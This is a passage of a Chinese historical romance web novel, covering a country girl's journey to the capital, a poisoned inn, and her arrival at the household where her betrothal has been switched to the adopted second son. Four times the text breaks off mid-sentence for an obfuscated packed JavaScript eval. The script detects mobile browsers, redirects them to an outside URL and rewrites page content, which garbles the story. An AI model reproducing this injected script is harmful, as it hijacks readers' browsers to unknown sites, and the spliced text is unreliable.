沈氏看了儿子一眼，打圆场道：“你兄长就这个脾气，别往心里去。他呀，从小就这样，冷得像块石头，也不知随了谁。” 褚书墨笑了笑，没再接话。又坐了一会儿，褚序宸起身告退。褚书墨也顺势起身，说要去送送兄长。 两人一前一后出了正院，沿着抄手游廊往外走。月色如水，洒在廊下的石板上，泛着淡淡清辉。 褚书墨走在他身侧，脚步轻缓，既不超前也不落后，分寸拿捏得恰到好处。走到二门处，褚序宸停下脚步，回头看他。 “不必送了，回去歇着吧。” 褚书墨点点头，却没有立刻转身。他站在月光里，清俊的面容被镀上一层柔和的银边，整个人显得越发温润。 “兄长。”他忽然开口。 “嗯？” “今日我说的话，若有不当之处，兄长别往心里去。”他微微垂眸，“我从小没人教这些，有时候说话不知分寸，若冒犯了兄长，是我的不是。” 褚序宸看着他，半晌道：“你没什么不是。” 褚书墨抬眼，眸中有一瞬的亮光，随即又敛了下去。 “多谢兄长。”他轻声道，“那书墨回去了。兄长也早些歇息。” 说罢，他转身往回走。 褚序宸站在原地，看着那道背影渐渐消失在月洞门后。他忽然想起幼时祖母跟他说过的话：人这一辈子，最难求的不是功名利禄，而是一颗温良的心。 彼时他不以为然。如今看着褚书墨，倒有些明白了。 只是明白归明白，让他像褚书墨那样温言软语、细心妥帖，他做不到。他是褚序宸，是顺天府尹，是天子的臣子。 至于温良...... 他转身，大步朝自己的院子走去。 次日一早，褚序宸休沐，去跟沈氏请安时，褚书墨已经去国子监了。沈氏留他坐了片刻，问道：“林家女的画像可给书墨看过了？他有说什么吗？” 褚序宸回忆褚书墨那日去他书房里的场景，他将画像递过去，告知实情：“这是你的未婚妻，你来我家，我可以提供一切助力，生活上，学业上的都可，但有一点你必须做到，那就是娶了这个女子，与她安稳度日。” 褚书墨头都没抬，甚至都没有看画像，就应下道：“书墨此生能有机会再认母亲，得兄长庇佑，已是三生修来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309712|198773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的福气，其他的但凭兄长定夺。” 沈氏听完褚序宸的描述，欣慰点头。 “那孩子着实懂事又心细，他与那林家女年纪相仿，想必能聊得来。说起那林家女，都过了这般久了，怎的还没到？林家不是来书信说，她两个月前就出发了吗？” 那封信褚序宸看过，信上还写着：“小女贪玩，恐路上耽搁，已叮嘱小女，每到一个驿站便写信送去。” 想到此处，他哼了一声，低声道：“果然是乡野女子，目无礼数。母亲可曾收到她本人寄的信件吗？” 沈氏摇了摇头，不免担忧了起来。 “林家也真是放心让她一个人来，哎，说到底，是咱家的媳妇，怎的放出来就不管了呢。这么久了，不会路上出什么事了吧？要不然，你去城外迎一迎？” 褚序宸回说：“都不知道人在哪里，我去哪里迎呢？” 这时下人来报：“老夫人，大公子，有信。” 沈氏赶紧接过来，看了眼信封，上面洋洋洒洒写着几个字：褚大人亲启。落款写着一个林字。 “是林家女郎寄来的吧？你赶紧看看。” 沈氏将信递给了儿子，褚序宸拆开信封，皱了皱眉，这上面的字比信封上写的还要潦草，不细看，根本看不出来写的是什么。 他不由得又叹了口气，随即又说道：“好在会写字。” 沈氏着急地问：“快看看上头写的什么？” “信上说，她在路上捡着一落难的姑娘，路程慢了，恐再耽搁些时日才能到京，让我们不要着急。” 褚序宸将信丢在一旁，有些气滞：“还真当自己是来游玩的吗？当真是一点规矩都没有。” 沈氏没管这些，问：“可有说，她人现在何处？” 褚序宸看了眼信封，是从晋州寄来的，信件大约寄送了七八日，若算平常人的脚程，也快进京了，只是这林家女不能以寻常人看待，实在无法估算出她现在人在哪里。 他摇头：“不清楚，看样子，她玩得很是开心。还有闲工夫行侠仗义呢，轮不着咱们为她担心。母亲，您回头跟书墨说说，等人来了，让他好好管教管教他这未婚妻，学些规矩，如此行事，将来如何带得出去。” 见沈氏没有回话，他便看了过去，却见母亲不知何时拿起那信件，正怔怔地看着发呆。 “母亲，母亲？” “哦，”沈氏回过神来，“人没事就好，行了，你去忙你的吧。” 褚序宸站起身，走出堂屋的时候，不免回头看了一眼，沈氏竟然还在看那封信，他心里有些奇怪，却没问出口。 等人走了，沈氏才深深叹了口气。 这一封简单的信让沈氏陷入了回忆。她从很小就学规矩，连走路都能大步迈开，琴棋书画样样都要学，要学着做大家闺秀，要学着知书达理。 十岁的那年元宵节，家里的嬷嬷带她去逛集会，她自己跑远了，遇到一个卖糖葫芦的姑娘，她见那姑娘可怜，便将她剩下的所有糖葫芦都买了下来，都分给了路人。 然后拉她坐在街边聊天，两人聊得投机，不知不觉天就黑了。 等家里人找来时，路上已经没什么人了。回去后，就被关了三天三夜。 自那之后，再没让她独自出门了，甚至嬷嬷带着都不允许。 林家女的这封信，让她好生羡慕。这样肆意的活法，这样欢脱的性子，都让她期待早点见着这姑娘了。 5. 第五章 自那日柳莺儿在马上歇了半日之后，便再也不肯自己骑马了。她也扮上了男装，以林慕凝的小厮自称，跟着她一路往京城的方向去。 这日，她们到达了距离京城还是几十里的定州。在客栈门口，遇到了一伙走镖的。拉着满满三大车的货物，盖得严严实实的。那队人马约莫七八个，为首的是个中年男人，大个头，一脸横相。 林慕凝只略略看了几眼，也没当回事，和柳莺儿一同去客栈开房间。 女掌柜听说两个俊俏的公子只开了一间单人房，多看了她们几眼，林慕凝无所谓，看就看，这一路被看的还少吗？柳莺儿猜到了掌柜的在想什么，脸一红，低下了头。 待进到房间，柳莺儿对林慕凝说：“公子，你没瞧见那掌柜的那眼神吗？把咱俩想成什么了？” 林慕凝不以为意地说：“管她想成什么，总归是没看出来你我的真身。再说了，那些个上京赶考的书生和书童，不都是这种搭配吗？我没跟你讲过吗，我老家隔壁镇子就有个书生，前年上京赶考，也没考中什么，可人却一直不肯归家。后来有人说，他早就跟他的书童双宿双飞了。” “啊？”柳莺儿吃惊地捂住了嘴，“那位公子家里人怎么办？” 林慕凝嘴角一弯，“自然是该咋过咋过，这人跑了，其他人也得生活不是？他原本还有个未婚妻呢，等着他考取了功名就成亲。听说这个消息后，转头就嫁给了别人。而且转嫁的那家比原来这家还要好呢。所以说，这女子啊就不该在一棵树上吊死。” 柳莺儿却是一阵唏嘘，只觉得世事无常。 两人闲聊之际，客栈送来了晚饭。三菜一汤，还有肉菜，看上去很是丰盛。 林慕凝早就饿了，端过来就要吃，却被柳莺儿拦住了：“公子，莫急。这菜有问题。”她闻了闻菜的味道，从怀里掏出一根银针，扎进那肉里，很快银针就变黑了。 林慕凝赶紧将筷子扔了。 “我说住店怎么这么便宜，还提供这么好的饭菜。原来竟是家黑店！可你我在外扮做男子，且就这点家当，有什么可偷的。” 她忽然想到今日遇到的那伙押镖的，喊了一声：“不好，去救人。”转身就出了房间。 果然，七八个镖师全都吃了那饭菜，眼下都趴在桌子上，地上，有的已经昏睡过去，有的还在挣扎。 她让柳莺儿去端水，往这些人脸上浇。那个为首的似乎吃的最少，中毒最轻，被浇了一遍水，人就醒了。他一把拽住林慕凝的胳膊，吼道：“贼人。” 林慕凝用他手下人的剑鞘敲了他的脑袋一下：“本公子是你的救命恩人，当真是不知好歹！” 那人这才后知后觉，原来是被这家黑店坑了。他晃晃悠悠站起身，又往自己头上浇了一壶水，猛猛踹醒了几个手下，提着武器就去找掌柜的算账。 那女掌柜正和精壮的下人调情呢，预备着干完一场，释放一下激动的心情，再去收拾这些人。没成想，这边事干到一半，门板就被踹开了。两具未着寸缕的身子就这么明晃晃地暴露在众人之下。 跟着跑来瞧热闹的林慕凝赶紧转身，捂住了柳莺儿的眼睛，拉着她退出了那间屋子。 柳莺儿还啥都没瞧见呢，眼前就黑了。她隔着手，问林慕凝：“公子，里头是个什么光景。” 林慕凝也脸热，支支吾吾：“哎呀，不是你该问的，别瞎问。赶紧回去吧，今晚忍忍饿，明日一早咱们抓紧时间进京。” 这一晚上，那些镖师们轮流值班看着这黑店老板娘和她的伙计，林慕凝和柳莺儿倒是睡了个踏实觉，只是半夜被肚子饿醒过两回，又囫囵睡去。 隔日一早，两人装点好行囊，预备出发。 却被那为首的镖师拦住了去路：“在下贺铮，此次多亏了两位小兄弟仗义相救，才能保住我们这些人的饭碗。” 林慕凝轻点头：“好说好说，行走江湖，讲究的就是一个互帮互助，昨夜还仰仗着诸位兄弟护院，我二人难得睡了个好觉。那咱们就此别过，日后有缘再见。” “不忙。”贺铮却拦住不让走。 柳莺儿上前一步，开口说：“你这是什么意思，我们......” 话说到一半，就见对面的人递过来一袋沉甸甸的银子。 “两位公子有所不知，我们此次押送的货物不仅关系着我们的饭碗，甚至关系着我们的生命。这点东西还请公子收下，聊表谢意。” 林慕凝将柳莺儿往旁边一扒拉，手伸出半截，又退了回来。 “贺镖师真是客气了，按理说这盛情难却，我们兄弟二人不该推辞。可你看我们俩这小身板，带着这么一袋子东西，恐怕.....” 贺铮立刻心领神会：“是我考虑不周了，来人，换银票。”这次他想的周到，换了一张大的，并一叠子小额银票，递了过去。 林慕凝双手接过，粗略翻了翻，大概是三百两。 她心道：难怪这黑店老板这么激动，看来这伙人还真是财大气粗啊。 “行，那小弟就收下了。祝愿贺镖师日后走镖，次次都是大单，次次都有惊无险，发大财！” “哈哈哈，小兄弟真是爽快人！不知你们这趟是要去往何处？我们是往京城去，若顺路，可以同我们一道走，更安全些。” 林慕凝脑子稍微一转，分析了一下利弊，立刻说道：“那真是巧了，我们也往京城去。” 经过昨晚一事，这伙走镖的更加谨慎，因柳莺儿有试毒之物，他们每次用餐前，都要柳莺儿试完了才肯动筷子，很是依赖她们二人。 原本林慕凝慢慢悠悠的脚程，因着这伙走镖人着急，不到一日就到了京城边上，这屁股都被马鞍颠冒烟了。好在他们马匹多，分了柳莺儿一匹，两人不用同乘，人也宽松不少。 一进了城门，两路人便要分道扬镳。 林慕凝给贺铮报的名讳是：林青，说要去城西寻亲戚。 而贺铮等人要去城北送货。 告别前，贺铮道：“我与林小兄弟一见如故，此一路行来也是经历过生死之人，若日后林小兄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309713|198773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弟遇到什么困难，需要我贺某帮忙，定要去城北的永乐镖局寻我。随便告知一个人，都能将消息传于我。” 林慕凝被马颠得七荤八素，只想找个落脚处赶紧歇歇屁股，仓促回道：“一定一定。” 那队人一走，她赶紧下了马，宁愿走路，也绝不再坐上去。 柳莺儿还了那马，也陪林慕凝走着。 “公子，咱们下一步去哪？要去你那未婚夫家吗？” 林慕凝揉着屁股，望了眼热闹的街道：“不急，先去租马社还马，然后找个客栈，歇上一歇，养好了精神再说。这京城我是头次来，怎么也得摸摸门路，若进了那大家主，怕是不好出门。” 两人现在有钱了，自然找的是像模像样的大客栈，这回来的是两间上房。 先胡吃海喝了一顿，又仔仔细细清洗了身子。然后睡了个昏天黑地，等醒来，已经是第二日中午了。 柳莺儿来敲门，问：“公子，可醒了？” 一进门，就见林慕凝已然换上了女装，亭亭玉立，窈窕身段，一张芙蓉面，就如同那天女下凡，竟给柳莺儿看呆了。 “公子？” 林慕凝对镜而照：“从今日起，换个叫法。” “是，姑娘。”柳莺儿围着林慕凝转了好几圈，感叹道，“太美了，姑娘是我见过的世界上最美的人。这要是去了你未婚夫家，不得把他们迷倒吗？” 林慕凝被她逗笑了：“就会说好话哄我开心，不过我美不美，可不为的别人。你也一样，我们要为的自己开心。走，今日姐姐我带你去买新衣裳，新首饰，新胭脂。” 柳莺儿惦记着自己的身份，说道：“姑娘只给自己挑便好，我就不要了。” 林慕凝攀上柳莺儿的肩头：“为何不要？这里头的钱可有你的一份，走吧。” * 这京城的繁华，着实让林慕凝看花了眼，瞧着这个好看，那个也喜欢，不一会儿就大包小包买了一堆。 且她这乐观的性子，绝佳的容貌又着实招人喜欢，平日里店家不送的，今日见着她，都上赶着送。也因她在的地方，客人都更多些。一是为了看她，二呢是为了模仿她。 两个人一直从早逛到傍晚，终于得了空，在一家成规模的饭庄歇了脚。 林慕凝选的是个带屏风的隔间，把东西堆在地上，点了几个特色大菜，等着上的功夫，她拿出一盒新胭脂，对着小镜子抹。 心想：等回头好友曲惠芳来京了，也要给她买上一盒。 还指挥着柳莺儿：“喜欢哪个，自己挑挑，也上脸试试。” 忽听隔壁传来了说话声：“褚大人真是稀客啊，向来不屑于参加咱们同僚的聚会，今日可要多喝几杯。” 这隔间是用木板搭建的，中间有细缝，林慕凝的镜子正好对着那处缝隙。就见一位穿着藏蓝色常服的男子正背对她而坐。旁人似乎在向他敬酒。 那这位就是他们口中说的“褚大人”了，不知道和自己那位未曾谋面的未婚夫，是不是同一个姓氏。 6. 第六章 这头上了一盘点心，柳莺儿给林慕凝拿了一块：“姑娘，这是这家店的特色，快尝尝。” “嗯，你先吃。”林慕凝在听隔壁说话，现下顾不上吃。 只听那群人像是在恭维这位褚大人。 “咱们褚大人啊，是将烂摊子甩出去了。这心里一下子就轻松了，可不就有闲心跟咱们这些人吃吃喝喝了吗？” “可不是，褚大人啊，如今婚约之事了了，你有何打算啊？说吧，相中了哪位贵女，若大人不方便去说，下官替你做媒，” “褚大人居功甚伟，如此年轻就已经是顺天府府尹，就是公主都配得，那个女子是上辈子修来的福分。让咱们褚大人去配，简直就是暴殄天物！” 林慕凝听这意思，像是这位褚大人不满意被定了亲的女子。 如今，是甩了出去？ 甩给谁了？退婚了吗？ 她透过镜子，看到身后那位身子动了动，像是接过了酒杯。 说道：“诸位多虑了。本来这婚约也只是两姓之家定下的，没说一定要我去履行。我二弟那人温和厚道，人很不错，书读得也好，只不过之前无人点播。我信他将来定也会有一番作为。不算辱没了那位。此事就此揭过，日后大家莫要再提。” “我如今没有婚配的打算，才升任府尹没多久，诸事繁多。待二弟成婚后，再做打算也不迟。” 林慕凝听完，心下微微一动。 府尹？京城里姓褚的府尹…… 她想起临行前父亲提过，未婚夫褚家独子做了三品官，至于什么职位，她没记清。 当时光想着要离开家，兴奋得不行，其他的事根本没往耳朵里进。幸亏地址记住了，不然大老远来，都不知道去哪里寻人。 隔壁这位褚大人，听声音年纪也不大。不过转念一想，京城姓褚的官员肯定不止那一家。 何况是不是同一个字，都不好说。 她正琢磨着，又听隔壁有人笑道：“褚大人这般年纪便有如此胸襟，实在令我等佩服。日后二公子娶了那姑娘，大人再寻一门好亲事，兄弟二人皆大欢喜，岂不美哉？” 林慕凝听到这里，轻轻嗤了一声。 “这京城果真不一般啊。既不喜欢，退婚便是，竟还能做出这李代桃僵之事。” 她声音不算小，隔壁听得清清楚楚。 众人都不敢去看褚序宸的脸色，用吃菜或是喝酒掩饰。 褚序宸面色无波无澜，侧身扫了眼身后的木板缝隙，见到一女子的衣角。 便没有理会，举起酒杯，对众人说：“本官升职记本该宴请各位同僚，奈何一时抽不出时间。今日这顿我请，算是将功补过，大家有什么想吃的，尽管去点来便是。” 众人恭维。 “褚大人客气。” * 一段小插曲，不影响林慕凝的食欲，点的菜几乎都吃完了。 二人吃完下楼，那间雅间的门依旧关着，里头隐隐传出说笑声。 回到客栈，柳莺儿才将心中疑虑问出：“姑娘，今日隔壁吃饭的那位褚大人，该不是你要找的未婚夫吧？” 林慕凝正在试穿新衣服，不以为意地说：“哪就那么巧了？” 柳莺儿点点头：“也对，姑娘你说过，姑爷是独子，今日那位褚大人还有个二弟呢。” 提到这个，林慕凝停下手里的动作，想了想。 “我猜应该不是同父同母生的二弟。我听那人语气像是为了履行婚约，临时找的。” “啊？那…..”柳莺儿眼下真的担心了，“姑娘，如此说的话，万一那人真的是姑爷呢？咱们怎么办？” “什么怎么办？” “就是，”柳莺儿急道，“就是婚约的事啊！他要把姑娘你嫁给他的什么二弟，那该如何是好？” 林慕凝脚步顿了顿，随即继续试衣服，语气淡淡的：“先看看再说。” 柳莺儿不解：“看什么呀？” “看看那位褚大人到底是何方神圣。”林慕凝道，“万一是同名同姓呢？万一不是他呢？咱们瞎猜也没用。” 柳莺儿想了想，觉得也对，又问：“那怎么看？” 林慕凝回过头，冲她笑了笑：“明天去顺天府衙门口转一圈，不就知道了？” 柳莺儿一愣：“啊？去那儿做什么？” “顺天府尹要升堂问案的，总得从府衙进出吧？”林慕凝眨眨眼，“咱们去认认人，又不犯法。” 柳莺儿张了张嘴，想说什么，又咽了回去。 她算是看出来了，她家这位姑娘，胆子大得很，什么热闹都敢凑，什么人都敢看。 也罢，反正天塌下来有个高的顶着。 她又问：“那要是认出来，真是那位褚大人呢？” “是就是呗，又能怎样！”林慕凝换好衣服，让柳莺儿替她看，“如何，好看吗？” “好看，姑娘就是这世界上最好看的人。若那人真是姑爷，见到咱家姑娘一定后悔。” 林慕凝拍了拍她的脸：“瞎琢磨什么呢，喏，那身是你的，快去换。” “姑娘，”柳莺儿还想说，“我就是担心，你这么好的人，被他们欺负。” “哎呀，别担心了。我是那种等着被欺负的人吗？就算那人真是他，你没听他说吗，他二弟人很好，现在也在考取功名。说不定还会阴差阳错，遇到良人呢。” 柳莺儿很佩服林慕凝的心态。 “姑娘，你怎么总是这么乐观呢？好似世间事总有解法，什么事都不是难事。” “因为本就如此，有句话说得好，兵来将挡，水来土掩。天塌了，有个子高的顶着。车到山前必有路，桥到船头自然直。快去试衣服吧，那颜色很配你这名字。” 柳莺儿那点愁绪被她一说，散开了，嘿嘿一笑：“姑娘，这好像不是一句话。” 隔日，两人就一路打听，到了顺天府大门口。 为了防止被人认出来，他们俩又换上了男装。 离上职的日子还有小半个时辰，官员们陆陆续续往这边来了。 林慕凝和柳莺儿躲在暗处，观察了一会儿，林慕凝说：“不行，得找人问问。” “找谁？诶，姑娘，姑娘！”柳莺儿话都没说完，就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309714|198773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见林慕凝跑了出去，逮住一个穿着官服的人就问：“大人，小的有急事想找顺天府府尹。您可知，他人在哪吗？” 那人打量了林慕凝片刻。 回道：“找府尹大人办事要按程序来，你不懂吗？” “小的初来乍到，不懂规矩，还望大人指点一二。” 有旁的人听到动静走过来说：“府尹大人今日去京郊办事了，你找他有什么事？” 扑了个空。 林慕凝眼珠一转，当即换了副表情：“哦，原来外出了啊。我是他远房亲戚，来之前我娘给的地址不小心弄丢了，只记得表哥在这儿当差，便来碰碰运气。” 那人倒也好心：“府尹大人住在前门口大街二条胡同，你去那儿问问便知。” 林慕凝连连道谢。 “多谢大人了。” 她转回原处，叫上柳莺儿便走。 “姑娘，见着人了吗？哪个是啊？”柳莺儿小跑着跟上。 “都不是，”林慕凝压低声音，“那人没来。” “那怎么办？白跑了？” 走到离顺天府远些的主街上，林慕凝寻了个早餐铺子，买了两笼包子，两碗米粥，叫林婉儿先吃饭。 “等会儿回客栈，收拾行李，咱们去褚家。” 柳莺儿咬着包子小眼瞪大眼：“现在就去？” “满打满算，从出家门到今天也三个月了，想必那家人早就盼着我登门呢。”林慕凝喝了口粥，“那咱就去会会。” 她从怀里掏出出门时，他爹给她写的地址。 打眼一瞧，真巧嘿，这家人也住在前门口大街二条胡同里。 她心里渐渐有了谱。 等两个人拎着满满当当的包裹进了二条胡同之后，她寻人打听的是顺天府府尹褚大人家住哪里。 那些邻居给的方向，跟她爹写给她的丝毫不差。 林慕凝不禁失笑。 “闹了半天，被换婚的还真是我呀。”她转头看向柳莺儿，眼里有一丝促狭，“我的未婚夫换人啦。” 柳莺儿皱着眉头看她：“姑娘，你怎么还笑得出来啊？这不明摆着欺负你吗？世上哪有这样的道理，明明订婚的是这个，怎么临了临了还被换了。” 林慕凝顾不上琢磨这些，她看着褚家这朱红的大门，门口两个威武的大石狮子，很是气派。 光是大门口这一大片空地，都够她家几间屋子那么大了。 她咧开嘴，笑得没心没肺。 “这波我不亏，管他家派出来的是谁，总得让我住在这大门里头吧。走着，瞧瞧我家长啥样。” 我三步并作两步跑到门口，将包裹往旁边一放，使劲拍了起来。 “开门，快开门，你家少奶奶来了。” 不一会儿，一个老头打开了门，打量着林慕凝。 “你小子瞎叫唤什么呢？” 林慕凝这才想起自己的男装还没换下来，她把头上的簪子一扯，瀑布一般的长发散落。 再次嘿嘿一笑。 “叫你家管事的来，就说同你家少爷有婚约的林家大小姐到啦。” 7. 第七章 那老头再回来，他殷勤地招呼下人接过林慕凝和柳莺儿手中的行李，躬着身引路，边走边说：“林姑娘，您来怎么也不提前说一声，我们好去迎迎您。” 林慕凝没搭话，只顾着打量着这阔气的院落，感叹着这京城大户人家就是气派。 她数不清过了几道门、穿了几重院，只觉越走越深，越走越阔。京城的大户人家都这般模样？她在老家时看过不少话本子，里头写的那些深宅大院，怕也不过如此了。 前面领路的人还在絮叨：“您这一路辛苦了吧?我们老太太说了，本该我们去您娘家接您的，可收到信的时候，听说您已经在路上了，还不知道......” “老人家，”林慕凝忽然开口，“怎么称呼您？” 老头半低着头，笑着说：“哎呦，您这是折煞我了，小的姓李，叫大春，得老爷老夫人厚爱，在这府里管了二十年的事了。” “原来是李大管家。” “不敢不敢。”李大春嘴上谦虚，心里却熨帖得很。这位林姑娘，比他想象中好说话多了。 “林姑娘，您有事吩咐？” 其实早在府里多了位二公子时，下人们就都知道，那是预备替大少爷完成婚约的。老夫人特意吩咐过，让下人们谨言慎行，待林姑娘到了，一定要好生待人家，千万别让她挑出错来。 他们都知道少爷为什么不愿意自己完婚，原是嫌弃这姑娘是乡下来的。李管家自己心里也预判过，这林姑娘到底是个什么模样。未成想，竟是个如此聪慧灵巧之人，自然就亲近了几分。就是可惜了这个出身，否则...... 余下的他不敢想，站定了，等回话。 林慕凝问：“咱家老爷现在任什么职位？” “您问老爷呀，”李大春来了精神，“老爷两年前升任江南巡抚，现下人在江南呢。咱家大公子年方二十二，已然是顺天府府尹，满京城人无人不说大公子是人中龙凤。” 李大春说到一半，忽然意识到自己话多了，赶忙偷看林慕凝的脸色，见她一脸兴奋，怕是还不知道与她成婚之人已然变了，斟酌着补充道，“咱家二公子也不赖，现在在国子监读书，预备明年科考呢。” 林慕凝点点头，没再多问。 李大春松了口气，一面差人将行李搬去早就备好的院子，一面亲自引着林慕凝和柳莺儿往正院走。 “老夫人早一个月就念叨您，早就想见您了，刚才听说您来了，原本身子还不爽利，立刻就起身了，可见对您的重视。” “嗯，我也期待着见她呢。” 林慕凝也想看看她这未来婆母，想知道这换亲的事到底是谁的主意。 转过一个垂花门，就到了一处极其雅致的院子，院门口挂着一个牌子，上写几个大字“萱草堂”。一个中年美妇，身后跟着一众丫鬟婆子。那妇人虽上了些年岁，却风韵犹存，能看得出来出身名门，举手投足间都有大家风范。然眉宇间却没有盛气凌人的姿态，微微笑着，很是和善。 不用问，这人便是林慕凝未来的婆母沈氏韵芝了。 沈氏也在打量来人。 小小一张鹅蛋脸，五官生得极其精致。最夺目的是那双眼睛，清亮有神，看人时直直地望过来，毫不躲闪，透着一股机灵劲儿。再瞧那一身打扮，飒爽的男人装，乌黑的长发披散着，竟有几分意气风发的少年气概。 比那画上之人，好看何止百倍千倍。 沈氏一时看呆了。 身旁的丫鬟提醒：“老夫人，林姑娘来了。” 沈氏这才回过神来，堪堪扶过行礼的林慕凝：“盼了你好久，可算是来了。快进屋吧。”说着，拉起林慕凝的手，往正房里走。 林慕凝这一路心思百转，想过许多种见到沈氏的场景，或被嘲笑，或被数落，或被训斥，唯独没想过现在这一幕。这沈氏比她想象中要和气得多。不过她也没有太过乐观，毕竟偷梁换柱之事是他们先做下的，且处处看吧。 她将父亲的信件以及当年褚父留下的订婚书一并交给了沈氏。这封订婚书有十几年了，竟还被完好地保存着，可见林家对这事的重视。 沈氏心中闪过一丝异样，面上没显出来，让人给林慕凝上茶，又让她坐在上首，颇有些待贵客的意思。 她细细问了这一路的见闻，林慕凝一一说了，还把柳莺儿指给她看：“这丫头是我路上捡的，现在就跟着我。” 沈氏点头：“给你归置的院子还未来得及看吧？等会就去安置，我再给你安排几个丫鬟，随你调遣。” 林慕凝微笑应着。茶续了三回，沈氏酝酿了好久，这才提到婚事。 “老爷在江南还有一年任期，小儿又在准备明年的科考。所以你与小儿的婚事便定在明年，你觉得如何？” 林慕凝心思一转，问道：“我听父亲说，您家只有一位公子，可路上听李管家那意思，还有二公子？夫人说的可是他？” 沈氏的脸微微一红，她这辈子没做过亏心事，只这一件听了独子的主意，现在却让她来圆这个谎。林家女没来之前，她还觉得一个乡下女子怎么都好糊弄。可见了人却不这样想了，她好歹活了半辈子，这样灵透的人儿怎么可能会轻易糊弄过去。 她强自镇定，将在心中默念了百遍的话说了出来：“不瞒林姑娘，自我生下长子后，身子一直不好。想再要一个，却迟迟未能如愿。长子自从入仕，便整日繁忙，不着家。我自觉膝下清冷，便生了从宗师过继一子的想法，小儿书墨便是这样来的。这孩子刚满十八，与你年纪相当，又贴心懂事，很合我的心意，不像他兄长，性格冷硬如石。你见到了也一定会喜欢。” 林慕凝心想：褚大公子他，算是闻过其声了，确实迂腐得很，不合她心意。这小儿子自小乡野长大，说不定与他合得来呢。 想到此处，她笑着说：“一切听老夫人安排。” 沈氏安排了几个丫鬟，和柳莺儿一道，提前回去安置，她又留林慕凝聊了好一会儿。她很喜欢听林慕凝讲的路上的见闻，这姑娘性情爽快，口齿伶俐，声情并茂。那些深宅大院里未曾见过的江湖事，勾着沈氏极是向往。 正房里不时传出爽利的笑声，讲到黑店的事，沈氏又是一阵后怕。 “哎呀，日后出门可要多带些护卫才好，幸亏你这丫鬟机灵，又遇到了好人护送。” “夫人不必忧心，我娘说了，我有福气，定能逢凶化吉，转危为安。” “如此便好。” 两人正说到兴头上，却听门外有人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309715|198773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说话：“母亲，儿子下学回来了，来给母亲请安。” 原来是褚书墨，他从国子监下课，一听说林家姑娘到了，便一路小跑着回来。到了院门口，又硬生生刹住脚，擦了擦额角的汗，理了理衣袍，这才开口。 沈氏笑着扬声：“书墨，快进来。” 帘子挑起，一道修长的身影跨进门来。 褚书墨先给沈氏行礼，余光瞥见一旁立着个人，却不敢直视，只垂着眼，规规矩矩地站着。 “母亲，今日身子可爽利？” 林慕凝却大大方方地打量起他来。这二公子生得清秀俊朗，眉目温润，一身国子监的青衫穿得整整齐齐。垂着眼站在那儿，倒有几分书卷气。 就是怎么不敢看她？她忍不住想笑。 沈氏看了看两人，眼中闪过一丝笑意，轻咳一声：“书墨，这位便是林家姑娘。” 褚书墨这才抬起眼，朝林慕凝看去。只一眼，他便愣住了。 眼前的女子着一身男装，头发已然束起，英姿飒爽，眉眼带笑看着他。这姑娘比他见过的所有女子都要美，他的心漏跳了一拍。赶紧低下头，耳根悄悄红了。 拱手道：“见过林姑娘。” 林慕凝被他这局促的模样逗得想笑，忍住了，她也拱手：“见过褚二公子，听说二公子在国子监读书，定然是很有学问吧。我也喜欢读书，只是小时候家里没这个条件，若我有不懂的，可去问问二公子？” 这姑娘的声音也好看，如春风拂面，褚书墨觉得整个心都被这个声音挠得痒痒的。他只觉耳根烧得厉害，连带着脖颈都泛起了淡淡的粉色。 他定了定神，努力让自己的声音听起来平稳些：“定然……定然知无不言。” 话一出口，他便后悔了。怎么还结巴上了？ 林慕凝看在眼里，险些笑出声来。这位二公子，倒真是个有意思的。以往在家时，镇子里的书生见她也会脸红，可也不似这般局促。 林慕凝只觉得这京城人有意思，同在一个屋檐下，人与人的性格竟然天差万别。那大公子拿腔拿调，一副上位者做派。 这二公子呢，又如此腼腆，着实有意思。 林慕凝就这么看着他，他越发的不敢抬头。 沈氏在一旁看着两人，差点笑出声来。 她这过继来的儿子，平日里虽话不多，却也是进退有度、举止从容的。怎么见了林姑娘，竟成了这副模样？ 